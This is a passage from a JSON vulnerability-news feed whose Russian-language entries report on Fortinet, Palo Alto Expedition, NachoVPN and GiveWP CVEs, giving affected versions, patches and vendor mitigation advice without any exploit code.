\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0435\u043c\u043e\u043d\u0443 fgfmd \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439, \u043f\u0440\u0438\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Fortinet \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2024-23113, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u043d\u0435\u0432\u0435\u0434\u0435\u043d\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0438 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 Palo Alto Networks, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b PAN-OS. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445:\n\n- CVE-2024-9463\u00a0(\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434)\n- CVE-2024-9464\u00a0(\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434)\n- CVE-2024-9465\u00a0(\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438)\n- CVE-2024-9466\u00a0(\u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445)\n- CVE-2024-9467\u00a0(\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c XSS \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Expedition. \u0418\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c (\u0438\u043c\u0435\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0430\u0440\u043e\u043b\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u043a\u043b\u044e\u0447\u0438 API \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 PAN-OS), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u0443\u0442\u0435\u0447\u043a\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Horizon3.ai, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0435 \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0435 \u043e \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u0443\u0436\u0435 \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0435\u0442, \u0430 Hanley - PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u044e\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0431\u0440\u043e\u0441\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 CVE-2024-5910 \u0441 CVE-2024-9464 \u0434\u043b\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 Expedition.\n\n\u0412 Palo Alto Networks \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a. \u041d\u043e \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Expedition \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 API, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0434\u043b\u044f \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438 Expedition \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0445\u043e\u0441\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u0435\u0442\u0435\u0439.", "creation_timestamp": "2024-10-10T13:17:11.000000Z"}, {"uuid": "2b0b2003-66fa-412c-b3c2-eff2ef699741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6477", "content": "\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 AmberWolf \u043d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 NachoVPN \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u043c \u0445\u0430\u043a\u0435\u0440\u0430\u043c VPN-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043a \u043d\u0438\u043c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 SSL-VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 SonicWall NetExtender \u0438 Palo Alto Networks GlobalProtect.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 VPN \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0430\u0442\u0430\u043a MItM \u043f\u0443\u0442\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432.\n\nSonicWall \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-29014\u00a0\u0432 NetExtender\u00a0\u0432 \u0438\u044e\u043b\u0435, \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u043c\u0435\u0441\u044f\u0446\u0430 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0442\u0447\u0435\u0442\u0430 \u0432 \u043c\u0430\u0435.\n\n\u0410 \u0432 Palo Alto Networks \u043e\u0441\u043e\u0431\u043e \u043d\u0435 \u0441\u043f\u0435\u0448\u0438\u043b\u0438 \u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-5921\u00a0\u0432 GlobalProtect \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f, \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043f\u043e \u0438\u0441\u0442\u0435\u0447\u0435\u043d\u0438\u0438 \u0441\u0435\u043c\u0438 \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0447\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f AmberWolf \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 SANS HackFest Hollywood.\n\nSonicWall \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c NetExtender Windows 10.2.341 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Palo Alto Networks \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 FIPS-CC \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043c\u044f\u0433\u0447\u0438\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438, \u043f\u043e\u043c\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 GlobalProtect 6.2.6 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 (\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c).\n\n\u041d\u0430 \u0434\u043d\u044f\u0445 AmberWolf \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c NachoVPN, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u0442 \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 VPN-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 VPN, \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u0443\u044f \u0441\u0432\u043e\u0439 \u043e\u0442\u0432\u0435\u0442 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 VPN-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect \u0438 Ivanti Connect Secure.\n\nAmberWolf \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0441 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f SonicWall NetExtender \u0438 Palo Alto Networks GlobalProtect, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u0430\u0442\u0430\u043a.", "creation_timestamp": "2024-11-27T11:44:11.000000Z"}, {"uuid": "596d7ef6-1058-4dae-b822-999488296281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/true_secator/6114", "content": "Defiant \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 GiveWP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0443\u0433\u0440\u043e\u0436\u0430\u044f \u0431\u043e\u043b\u0435\u0435 100\u00a0000 \u0441\u0430\u0439\u0442\u0430\u043c WordPress.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-5932 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 10/10, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0441\u043e\u0431\u043e\u0439 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 give_title.\n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0435\u0444\u0435\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c PHP-\u043e\u0431\u044a\u0435\u043a\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 POP (Property Oriented Programming) \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f, \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043b\u0438 \u043e\u043d\u0438 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 